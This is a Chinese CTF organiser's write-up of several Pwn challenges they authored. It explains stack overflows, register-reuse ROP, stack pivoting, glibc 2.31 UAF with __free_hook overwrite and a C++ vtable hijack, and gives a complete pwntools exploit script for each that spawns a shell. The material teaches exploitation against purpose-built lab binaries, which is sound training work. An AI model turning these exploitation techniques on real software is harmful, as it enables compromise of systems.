文章目录
也是很荣幸能够在去年自己打过的比赛中成为出题组的一员.
一共出了八道 Pwn ,分别是 Heavensdoor , Call My Name , from the sea, to the stars , from the sea, to the astra , Deal Gone Wrong , Big Shot , 雪葬 , 那里不曾有一位男人.
接下来一道一道讲吧.
Heavensdoor
Week1的简单题,基础栈溢出Ret2backdoor.没有什么太好说的.
__int64 v4; // [rsp+0h] [rbp-28h] BYREF
read(fd: 0, buf: &v4, nbytes: 0x100u);
-0000000000000028 // Use data definition commands to manipulate stack variables and arguments.
-0000000000000028 // Frame size: 28; Saved regs: 0; Purge: 0
-0000000000000028
-0000000000000028 // padding byte
-0000000000000027 // padding byte
-0000000000000026 // padding byte
-0000000000000025 // padding byte
-0000000000000024 // padding byte
-0000000000000023 // padding byte
-0000000000000022 // padding byte
-0000000000000021 // padding byte
-0000000000000020 // padding byte
-000000000000001F // padding byte
-000000000000001E // padding byte
-000000000000001D // padding byte
-000000000000001C // padding byte
-000000000000001B // padding byte
-000000000000001A // padding byte
-0000000000000019 // padding byte
-0000000000000018 // padding byte
-0000000000000017 // padding byte
-0000000000000016 // padding byte
-0000000000000015 // padding byte
-0000000000000014 // padding byte
-0000000000000013 // padding byte
-0000000000000012 // padding byte
-0000000000000011 // padding byte
-0000000000000010 // padding byte
-000000000000000F // padding byte
-000000000000000E // padding byte
-000000000000000D // padding byte
-000000000000000C // padding byte
-000000000000000B // padding byte
-000000000000000A // padding byte
-0000000000000009 // padding byte
-0000000000000008 // padding byte
-0000000000000007 // padding byte
-0000000000000006 // padding byte
-0000000000000005 // padding byte
-0000000000000004 // padding byte
-0000000000000003 // padding byte
-0000000000000002 // padding byte
-0000000000000001 // padding byte
+0000000000000000 _UNKNOWN *__return_address;
覆盖 0x28 再进行溢出.不过这里有一点值得讲的是,当时编译文件用的 -O2 自动省略了帧指针,由于main里面没有执行 push rbp; mov rbp,rsp,导致你在 stack of main 里面看不到 saved regeisters 以及在动态调试里面,查看 stack 时看不到 rbp(此时 rbp 是 libc 启动函数留下来的遗留值) . 在 -O2 下面是再正常不过的事情了.只要能看清哪里是 retaddr 这道题就能解.
以下是这道题的exp:
from pwn import *
context(arch = 'amd64' , os = 'linux' , log_level = 'debug')
io = process("./heavensdoor")
#io = remote("",)
backdoor = 0x401240
ret = 0x401148
payload = b'A' * 0x28 + p64(ret) + p64(backdoor)
io.sendline(payload)
io.interactive()
注意栈对齐就好了.如何知道是栈对齐引起的崩溃呢,使用gdb调试脚本的时候,看见在movaps指令的时候崩溃就是栈对齐问题.垫一个ret让rsp十六字节对齐就好了.
(System V ABI 要求 call 执行前 rsp 以 16字节对齐, 我们是从 ret 跳进来后门的,比正常 call 要少8字节,因此 system 以错误的对齐进入,在 do_system 里面的 movaps崩掉)
Call My Name
Week2的中等题,一道基础的寄存器复用+二段读+ROP的题目
考验一下小灯们的动态调试能力,但是感觉大多数都是直接丢给ai,没有自己调试看寄存器.
ssize_t take_message()
{
__int64 v1; // [rsp+0h] [rbp-58h] BYREF
puts(s: "(When feel alone)");
puts(s: "(Just call my name)");
puts(s: "I will hear your voice -- leave your message after the tone.");
return read(fd: 0, buf: &v1, nbytes: 0x70u);
}
+0000000000000000 _UNKNOWN *__return_address;
先来看一下 vuln 吧.
这道题也是 -O2,所以 v1 距离 retaddr 有 0x58 的长度,但是溢出一共只给我们 0x70 , 意思就是说我们的第一段ROP只有三个位置能放东西. 除去最后一个位置放 PLT ,我们一共就只能放一个 pop;ret ,以及一个数据. 因此我们只能设置一个寄存器.
这个就是这道题的考点了,看以下内容
RAX 0x70
RBX 0x7ffd598083c8 —▸ 0x7ffd59808cb4 ◂— './call_my_name'
RCX 0x73df4bf1bd31 (read+17) ◂— cmp rax, -0x1000 /* 'H=' */
RDX 0x70
RDI 0
RSI 0x7ffd59808240 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0x3c
R9 0
R10 0x73df4be109d8 ◂— 0x11001200001bd3
R11 0x346
R12 1
R13 0
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401210 (__do_global_dtors_aux) ◂— endbr64
R15 0x73df4c1c3000 (_rtld_global) —▸ 0x73df4c1c42e0 ◂— 0
RBP 0x7ffd59808340 —▸ 0x7ffd598083a0 ◂— 0
RSP 0x7ffd59808238 —▸ 0x401291 (take_message+49) ◂— add rsp, 0x58
*RIP 0x73df4bf1bd39 (read+25) ◂— ret
这个是在 read 的 ret 指令之前,寄存器的样子.我们的 RDI , RSI , RDX 三个寄存器都还保持着原来设定的样子,意思就是说,我们不必再去给 RDI , RSI 赋值,仅仅将 RDX 改为一个较大的数字,就可以达到栈上的二段读了.以下是exp
from pwn import *
context(arch = "amd64",os = 'linux' ,log_level = 'debug')
io = process("./call_my_name")
gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
b main
'''
gdb.attach(io,gdbscript=gdbscript)
read_plt = 0x401090
system_plt = 0x401080
rdi = 0x401250
rsi = 0x401252
rdx = 0x401254
ret = 0x40101a
payload = b'A'* 0x58
payload += flat( rdx , 0x200 , read_plt)
io.recvuntil(b'after the tone.')
io.send(payload)
payload2 = b'A' * 0x70
payload2 += flat(ret , rdi , 0 , rsi , 0x4040a0 , rdx , 0x100, read_plt , rdi , 0x4040a0 , system_plt)
io.send(payload2)
io.send(b'/bin/sh\x00')
io.interactive()
但是值得注意的是,在glibc版本2.41之后,使用相同脚本无法打通本题,将断点下在 crash 之前,是如下的场景
──────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]───────────────────────────────────
*RAX 0xc8
*RBX 0x4141414141414141 ('AAAAAAAA')
*RCX 0x7c4a1f0a1ba6 ◂— movsxd rdx, eax
*RDX 0xc8
RDI 0
RSI 0x7ffe8f21c1c0 ◂— 0x4141414141414141 ('AAAAAAAA')
R8 0
R9 0
R10 0
*R11 0x202
R12 1
R13 0
R14 0x403e18 (__do_global_dtors_aux_fini_array_entry) —▸ 0x401210 (__do_global_dtors_aux) ◂— endbr64
R15 0x7c4a1f260000 (_rtld_global) —▸ 0x7c4a1f261310 ◂— 0
*RBP 0x4141414141414141 ('AAAAAAAA')
*RSP 0x7ffe8f21c210 ◂— 0x4141414141414141 ('AAAAAAAA')
*RIP 0x7c4a1f0a1bb8 ◂— ret
───────────────────────────────────────────[ DISASM / x86-64 / set emulate on ]────────────────────────────────────────────
0x7c4a1f0a1ba9 cmp eax, 0xfffff000
0x7c4a1f0a1bae ? ja 0x7c4a1f0a1bc0 <0x7c4a1f0a1bc0>
0x7c4a1f0a1bb0 mov rbx, qword ptr [rbp - 8]
0x7c4a1f0a1bb4 mov rax, rdx
0x7c4a1f0a1bb7 leave
► 0x7c4a1f0a1bb8 ret <0x4141414141414141>
↓
─────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffe8f21c210 ◂— 0x4141414141414141 ('AAAAAAAA')
... ↓ 3 skipped
04:0020│ 0x7ffe8f21c230 —▸ 0x40101a (_init+26) ◂— ret
05:0028│ 0x7ffe8f21c238 —▸ 0x401250 (crank) ◂— pop rdi
06:0030│ 0x7ffe8f21c240 ◂— 0
07:0038│ 0x7ffe8f21c248 —▸ 0x401252 (dial) ◂— pop rsi
能看到某个返回地址被我们写入的垃圾字节给覆盖掉,导致程序崩溃,这里是__syscall_cancel的返回地址被覆盖掉了,不过这里不过多赘述了,具体可以去查看glibc的源码以及动态调试得知.
from the sea, to the stars
简单栈迁移,作为Week3的中等难度还是比较合适的.
就像所有栈迁移教学题目一样,我把 stars 函数注册进了 .init_array .
void *stars()
{
void *result; // rax
new_home = mmap(addr: (void *)0x31335000, len: 0x3000u, prot: 3, flags: 50, fd: -1, offset: 0);
result = new_home;
if ( new_home == (void *)-1LL )
{
puts(s: "the sea swallowed the stars...");
_exit(status: 1);
}
new_home = (void *)825454592;
return result;
}
意思就是mmap一段长度为0x3000且可读写的区域,再将这段地址+0x2000的位置放进bss里面的new_home全局变量中.
随后的voyage函数向其中读入最大长度为0x1000大小的数据.
vuln给出刚好够到retaddr的溢出.
这个时候就应该能够想到栈迁移了,即在newhome里面先布置好 rop 链,然后在saved rbp的位置填好rop链那里的地址,最后再放一个leave;ret gadget在retaddr里面,在vuln的函数收尾以及我们填上的leave;ret 的双重leave之下,我们成功将rsp迁移到了newhome,随后进行rop链.
再看一眼gadgets
0x000000000040119d : pop rbp ; ret
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
只有三个popret,而且仅仅只有设置第一个参数的能力.因此直接mmap改rwx写shellcode在没有libcleak的时候是不可行的,而有了libcleak之后直接走system要比mmap方便的多.
所以这里第一次先构造一个puts(puts@got)的rop链出来,泄露libc之后重回voyage,走system就可以了.
以下是exp
from pwn import *
context(arch = 'amd64', os = 'linux', log_level = 'debug')
io = process("./pwn")
libc = ELF("./libc.so.6")
gdbscript = ''''''
#gdb.attach(io,gdbscript = gdbscript)
'''
0x000000000040119d : pop rbp ; ret
0x00000000004011be : pop rdi ; ret
0x000000000040101a : ret
'''
rdi = 0x4011be
ret = 0x4011bf
new_home = 0x31337000
leaveret = 0x401270
puts_plt = 0x401090
puts_got = 0x404020
voyage = 0x401272
io.recvuntil(b'Many were the years as I waited for you here -- settle your new home among the stars.')
payload1 = flat(0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,rdi,puts_got,puts_plt,voyage)
io.send(payload1)
io.recvuntil(b'voyage...\n')
payload2 = flat(0,0,new_home+0x100,leaveret)
io.send(payload2)
io.recvuntil(b' :)\n')
puts = u64(io.recvn(6).ljust(8,b'\x00'))
libc.address = puts - libc.sym['puts']
log.success(f"libc_base = "+hex(libc.address))
system = libc.sym['system']
io.recvuntil(b'stars.')
binsh = next(libc.search(b'/bin/sh\x00'))
payload3 = flat(0,ret,rdi,binsh,system)
io.send(payload3)
io.recvuntil(b'voyage...\n')
payload4 = flat(0,0,new_home,leaveret)
io.sendline(payload4)
io.interactive()
值得一提的是,我们两次栈迁移的栈帧应当尽量远一点,如果靠太近,在第一次栈迁移结束后,整个栈帧挪到newhome那一块区域,极有可能在我们铺完第二段链后面,puts等函数的栈帧会将我们的链给污染掉,从而崩溃.
from the sea, to the astra
跟上一道题相似的栈迁移,但是有点不太一样?
voyage:
read(fd: 0, buf: (void *)0x30080000, nbytes: 0x80u);
vuln:
read(fd: 0, buf, nbytes: 0x20u);
相似的向rw段写东西的voyage以及短溢出vuln.
但是
existence@LAPTOP-TV9V00LF:/mnt/c/Users/Lenovo/Desktop/Pwn/Spark26/astra$ ROPgadget --binary ./pwn --only "pop|ret"
Gadgets information
============================================================
0x000000000040125d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040132e : ret 0x458b
0x00000000004012bd : ret 0x8948
Unique gadgets found: 4
gadgets消失了.
与此同时,存在于.init_array的stars变成了某种更复杂的存在:
void *stars()
{
_BYTE *v0; // rbx
void *result; // rax
struct timespec tp; // [rsp+0h] [rbp-50h] BYREF
void *v3; // [rsp+18h] [rbp-38h]
void *addr; // [rsp+20h] [rbp-30h]
int fd; // [rsp+2Ch] [rbp-24h]
__int64 j; // [rsp+30h] [rbp-20h]
unsigned __int64 i; // [rsp+38h] [rbp-18h]
fd = memfd_create(a1: "from the sea, to the astra", a2: 0);
if ( fd < 0 || ftruncate(fd, length: 0x100000) != 0 ) //创建1mb的mem
{
puts(s: "the sea swallowed the stars...");
_exit(status: 1);
}
addr = mmap(addr: nullptr, len: 0x100000u, prot: 3, flags: 1, fd, offset: 0); //RW
if ( addr == (void *)-1LL )
{
puts(s: "the sea swallowed the stars...");
_exit(status: 1);
}
clock_gettime(clock_id: 1, &tp);
first_twinkle = tp.tv_nsec; //seed
sm_state = LODWORD(tp.tv_nsec);
for ( i = 0; i <= 0xFFFFF; ++i ) //1mb逐字节刷随机数
{
v0 = (char *)addr + i;
*v0 = next_star();
}
for ( j = 0; (unsigned __int64)(j + 1) <= 0xFFFFF; ++j )
{
if ( *((_BYTE *)addr + j) == 15 && *((_BYTE *)addr + j + 1) == 5 ) //ban掉syscall
*((_BYTE *)addr + j + 1) = 4;
}
sea_whisper = crc32_of(a1: addr, a2: 0x100000); //算出整个1MB数据的指纹,可以作为一个checkpoint让选手check自己复现的1MB数据的正确性
munmap(addr, len: 0x100000u);
v3 = mmap(addr: (void *)0x30000000, len: 0x100000u, prot: 5, flags: 17, fd, offset: 0); //RX
close(fd);
if ( v3 == (void *)-1LL )
{
puts(s: "the sea swallowed the stars...");
_exit(status: 1);
}
result = mmap(addr: (void *)0x3007F000, len: 0x2000u, prot: 3, flags: 50, fd: -1, offset: 0); //RW
if ( result != (void *)-1LL )
return result;
puts(s: "the sea swallowed the stars...");
_exit(status: 1);
return result;
}
unsigned __int64 next_star() //splitmix64变体 算随机数
{
sm_state -= 0x61C8864680B583EBLL;
return (0x94D049BB133111EBLL
* ((0xBF58476D1CE4E5B9LL * (sm_state ^ ((unsigned __int64)sm_state >> 30)))
^ ((0xBF58476D1CE4E5B9LL * (sm_state ^ ((unsigned __int64)sm_state >> 30))) >> 27))) >> 56;
}
所以意思就是说,gadget被替换成了由splitmix64变体的随机数海,我们需要的就是从随机数海里面挖gadgets.
除此之外,剩下的基本上与上一题差不多.
from pwn import *
import zlib
context(arch='amd64', os='linux', log_level='debug')
io = process("./pwn")
libc = ELF('./libc.so.6')
#gdb.attach(io, 'b *0x401573')
'''
0x000000000040125d : pop rbp ; ret
0x000000000040101a : ret
0x000000000040132e : ret 0x458b
0x00000000004012bd : ret 0x8948
'''
w = 0x30080000
leaveret = 0x401573
ret = 0x40101a
puts_plt = 0x401104
read_plt = 0x401174
puts_got = 0x403fa8
def sea(seed):
s, M, out = seed & 0xffffffff, (1 << 64) - 1, bytearray(0x100000)
for i in range(0x100000):
z = s = (s + 0x9E3779B97F4A7C15) & M
z = ((z ^ z >> 30) * 0xBF58476D1CE4E5B9) & M
out[i] = (((z ^ z >> 27) * 0x94D049BB133111EB) & M) >> 56
return bytes(out).replace(b'\x0f\x05', b'\x0f\x04')
def g(s, pat):
o = 0
while (i := s.find(pat, o)) >= 0:
o = i + 1
if i + 2 <= 0x7f000 or i >= 0x81000:
return 0x30000000 + i
io.recvuntil(b'blinked at: ');
seed = int(io.recvuntil(b'\n', drop=True))
io.recvuntil(b'whispers: ');
crc = int(io.recvuntil(b'\n', drop=True), 16)
s = sea(seed)
assert zlib.crc32(s) & 0xffffffff == crc
rdi = g(s, b'\x5f\xc3')
rsi = g(s, b'\x5e\xc3')
rdx = g(s, b'\x5a\xc3')
payload1 = flat(0, rdi, puts_got, ret, puts_plt, rdi, 0, rsi, w, rdx, 0x80, read_plt).ljust(0x80, b'\x00')
io.send(payload1)
io.sendafter(b'something missing', flat(b'A' * 16, w, leaveret))
io.recvuntil(b'stars :)\n')
puts = u64(io.recvline().strip().ljust(8, b'\x00'))
libc.address = puts - libc.sym['puts']
log.success('libc_base = ' + hex(libc.address))
payload2 = flat(b'\x00' * 0x60, rdi, next(libc.search(b'/bin/sh\x00')), libc.sym['system'])
io.send(payload2)
io.interactive()
不过值得注意的是,这道题像上一题那样返回voyage头部是行不通的,在stars那道题里面,向下的缓冲区域有0x2000多的空间,而这里只有大约0x1028的空间,printf的用栈空间较大,挤到了底下不可写的区域就会崩溃.所以这里直接构造read.(其实从voyage中部返回也可以)
Deal Gone Wrong
Week4的中等题,入门堆题.
漏洞点在于delete选项
case 2LL:
idx = read_idx();
if ( idx >= 0 )
free(ptr: *((void **)&deals + idx));
break;
只free掉堆块,没有清空存着的指针,因此有一个UAF.
在glibc2.31版本中,freehook并没有移除,因此我们可以改freehook的值为system,free掉一个装着”/bin/sh“的堆块来getshell.
但是这么做的一切需要libcleak,那我们如何来泄露libc的基址呢.
如果unsortedbin中的某个size的chunk只有一个的话,那么他的fd和bk字段都会被修改成main_arena加上一个offset,利用show功能,将里面的字段打印出来,减去main_arena在libc的偏移以及当前字段相对于main_arena的偏移,即可泄露libcbase
而最后使用UAF下的edit功能修改被放进tcache的chunk的next字段即可达到任意地址分配,从而改写freehook
因此我们就可以写出exp
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p = process("./deal_gone_wrong")
libc = ELF('./libc-2.31.so', checksec=False)
def add(idx, size, content):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b'index >> ', str(idx).encode())
p.sendlineafter(b'size >> ', str(size).encode())
p.sendafter(b'first terms >> ', content)
def free(idx):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'index >> ', str(idx).encode())
def edit(idx, content):
p.sendlineafter(b'>> ', b'3')
p.sendlineafter(b'index >> ', str(idx).encode())
p.sendafter(b'new terms >> ', content)
def show(idx):
p.sendlineafter(b'>> ', b'4')
p.sendlineafter(b'index >> ', str(idx).encode())
p.recvuntil(b'the contract: ')
return p.recvn(8)
add(0, 0x500, b'AAAAAA\n')
add(1, 0x20, b'guard\n')
free(0)
leak = u64(show(0))
main_arena_off = 0x1ecb80
libc.address = leak - (main_arena_off + 0x60)
log.success('libc base : %#x', libc.address)
add(2, 0x40, b'aaaa\n')
add(3, 0x40, b'bbbb\n')
free(2)
free(3)
edit(3, p64(libc.sym['__free_hook']))
add(4, 0x40, b'cccc\n')
add(5, 0x40, p64(libc.sym['system']))
add(6, 0x20, b'/bin/sh\x00')
free(6)
p.interactive()
Big Shot
Week4的困难题,入门C++堆题以及虚表入门,要求对bins的结构掌握牢固.同时一共有四个类需要逆向,可能对逆向的要求也比较高.
做题之前先看看前置知识吧,毕竟是C++的堆,我们就按照国际惯例源码和反编译一块贴出来吧
class Addison {
public:
char *slogan;
size_t len;
explicit Addison(size_t n) : len(n) {
slogan = new char[n];
}
virtual void advertise() {
printf("[Addison] HEY EVERY !!\n>> ");
fwrite(slogan, 1, len, stdout);
putchar('\n');
}
~Addison() {
size_t n = len < 8 ? 8 : len;
memset(slogan, 0, n);
delete[] slogan;
}
};
首先是Addison这个类, 里面有着两个元素,一个是指向slogan的指针,另外一个则是slogan的长度,同时还有一个虚函数 advertise.
我们放进 IDA 里面看布局
// Alternative name is '_ZN7AddisonC1Em'
void __fastcall Addison::Addison(Addison *this, unsigned __int64 a2)
{
*(_QWORD *)this = &off_3CD0;
*((_QWORD *)this + 2) = a2;
*((_QWORD *)this + 1) = operator new[](a1: a2);
}
可以看到相对位置: +0x00 vptr; +0x08 slogan; +0x10 len
而在子类PinkAddison里面
explicit PinkAddison(size_t n) : Addison(n) {}
这一行在反编译里面相当于以下的代码,也就是一次父构造调用再加上 vptr 的替换
Addison::Addison(this, a2);
*(_QWORD *)this = &off_3CB8;
而
a = new PinkAddison(n);
则相当于这两行
v1 = operator new(0x18);
PinkAddison::PinkAddison(v1, n);
我们接下来看虚调用:
stalls[i]->advertise();
调用 stall 存着对象的 advertise 虚函数就会变成
(***((__int64 (__fastcall ****)(_QWORD))&stalls + v0))(a1: *((_QWORD *)&stalls + v0));
对应的那一小块汇编就是
mov rax, [obj] ; vptr
mov rdx, [rax] ; 虚表槽0
mov rdi, obj
call rdx
普通的函数时 call 固定地址;虚函数调用时解两次指针之后再call 寄存器,所以三个* 在这里就相当于告诉我们要走虚表了,又套了一个*是没有识别到数组
此外,delete操作的时候
delete stalls[i];
会变成
Addison::~Addison(stalls[v0]); // 直接 call 析构 静态绑定析构不是 virtual
operator delete(v1, 0x18); // sized delete ---> free
看完了这些之后,我们就可以着手分析题目了.
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stream: stdout, buf: nullptr, modes: 2, n: 0);
setvbuf(stream: stdin, buf: nullptr, modes: 2, n: 0);
banner();
while ( 1 )
{
menu();
switch ( ask(a1: "> ") )
{
case 1LL:
hire();
break;
case 2LL:
advertise();
break;
case 3LL:
rewrite();
break;
case 4LL:
inspect();
break;
case 5LL:
fire();
break;
default:
continue;
}
}
}
按照堆题的惯例,给出的是菜单,一共五个选项,通过反编译得知 HIRE 是分配+写台词的能力;ADVERTISE是虚调用打印台词;REWRITE是重写台词;INSPECT是打印对象的三个QWord;FIRE是释放空间.
我们直接跟进REWRITE:
int __fastcall rewrite()
{
__int64 v0; // rax
__int64 v2; // [rsp+0h] [rbp-10h]
__int64 v3; // [rsp+8h] [rbp-8h]
v0 = ask_stall();
v2 = v0;
if ( v0 < 0 )
return v0;
if ( stalls[v0] != 0 )
{
v3 = ask(a1: "new pitch length: ");
if ( v3 >= 0 && *(_QWORD *)(stalls[v2] + 16LL) + 24LL >= (unsigned __int64)v3 ) //判断len + 0x18 是否大于v3
{
read_exact(a1: *(char **)(stalls[v2] + 8LL), a2: v3);
LODWORD(v0) = puts(s: "pitch rewritten.");
}
else
{
LODWORD(v0) = puts(s: "even HE can't scream that long.");
}
}
else
{
LODWORD(v0) = puts(s: "empty stall.");
}
return v0;
}
这里的 len + 24 给了我们溢出的空间 0x18 ,根据我们Addison类的特性以及堆布局,我们刚好能溢出修改下一个chunk的 size/vptr/slogan指针.而这里的vptr就是我们预期的劫持点.
不过这里有人就要问了,为什么不能打__free_hook或者其他的呢,我们先来看FIRE函数:
int __fastcall fire()
{
__int64 v0; // rax
void *v1; // rbx
__int64 v3; // [rsp+8h] [rbp-18h]
v0 = ask_stall();
v3 = v0;
if ( v0 < 0 )
return v0;
if ( stalls[v0] != 0 )
{
v1 = (void *)stalls[v0];
if ( v1 != nullptr )
{
Addison::~Addison(this: (Addison *)stalls[v0]);
operator delete(a1: v1, a2: 0x18u);
}
stalls[v3] = 0;
puts(s: "he crawls back into the [garbage can].");
puts(s: "LIVING IN A GODDAMN GARBAGE CAN???");
LODWORD(v0) = puts(s: "the phone keeps ringing. NO ONE WILL EVER PICK UP.");
}
else
{
LODWORD(v0) = puts(s: "empty stall.");
}
return v0;
}
首先UAF不成立,因为在delete之后会直接清空指针.随后,我们来跟进一下~Addison
void __fastcall Addison::~Addison(Addison *this)
{
size_t v1;
*(_QWORD *)this = &off_3CD0;
v1 = *((_QWORD *)this + 2);
if ( v1 < 8 )
v1 = 8;
memset( *((void **)this + 1),
0,
v1 );
if ( *((_QWORD *)this + 1) )
operator delete[](...);
}
这一段是在delete之前执行的,意思是就是说,在进入free的流程之前,我们台词缓冲区的至少前八个字节将会直接被抹零,从而free(“/bin/sh”)这个打法是已经被堵死了的.
我们继续回到上面那一块,我们已经拥有了0x18,能覆盖vptr,slogan,size字段的能力,但是我们现在还缺leak.因为注意到在bigshot函数中存在后门:
int __fastcall Spamton::big_shot(Spamton *this)
{
puts(s: "THAT'S RIGHT!! NOW'S YOUR CHANCE TO BE A [[BIG SHOT]]!!!");
return system(command: "/bin/sh");
}
所以要调用这个我们至少需要一个PIEleak,还有一个Heapleak.为了平衡难度,我就没有强制选手设计利用链来泄露基址了,我直接在Inspect函数中把这两个基址打印出来了.
所以我们后面的利用链也明显了:新建一个Addison,在slogan字段里面伪造vptr,存放后门的bigshot函数,再申请第二个Addison,将其vptr指向我们伪造的vptr,调用advertise就可以拿到shell
以下是exp
from pwn import *
context(arch='amd64', log_level='info')
p = process('./big_shot')
PINK_VPTR = 0x3CB8
BIG_SHOT = 0x134A
def hire(i, who, card, data):
p.sendlineafter(b'> ', b'1')
p.sendlineafter(b'stall (0-7): ', str(i).encode())
p.sendlineafter(b'salesman (1 Pink / 2 Cyan / 3 Spamton): ', str(who).encode())
p.sendlineafter(b'pitch card size (1..4): ', str(card).encode())
p.sendlineafter(b'pitch length: ', str(len(data)).encode())
p.send(data)
def adv(i):
p.sendlineafter(b'> ', b'2')
p.sendlineafter(b'stall (0-7): ', str(i).encode())
def edit(i, data):
p.sendlineafter(b'> ', b'3')
p.sendlineafter(b'stall (0-7): ', str(i).encode())
p.sendlineafter(b'new pitch length: ', str(len(data)).encode())
p.send(data)
def inspect(i):
p.sendlineafter(b'> ', b'4')
p.sendlineafter(b'stall (0-7): ', str(i).encode())
q = []
for tag in (b'[0x00] ', b'[0x08] ', b'[0x10] '):
p.recvuntil(tag)
q.append(int(p.recvline().strip(), 16))
return q # vptr, slogan, len
hire(0, 1, 1, b'A')
hire(1, 1, 1, b'B')
vptrA, sloA, _ = inspect(0)
_, sloB, _ = inspect(1)
pie = vptrA - PINK_VPTR
print('pie =', hex(pie))
print('sloA =', hex(sloA))
big_shot = pie + BIG_SHOT
payload = p64(big_shot) + b'1997'.ljust(0x10, b'\x00') + p64(0x21) + p64(sloA) + p64(sloB)
edit(0, payload)
adv(1)
p.interactive()
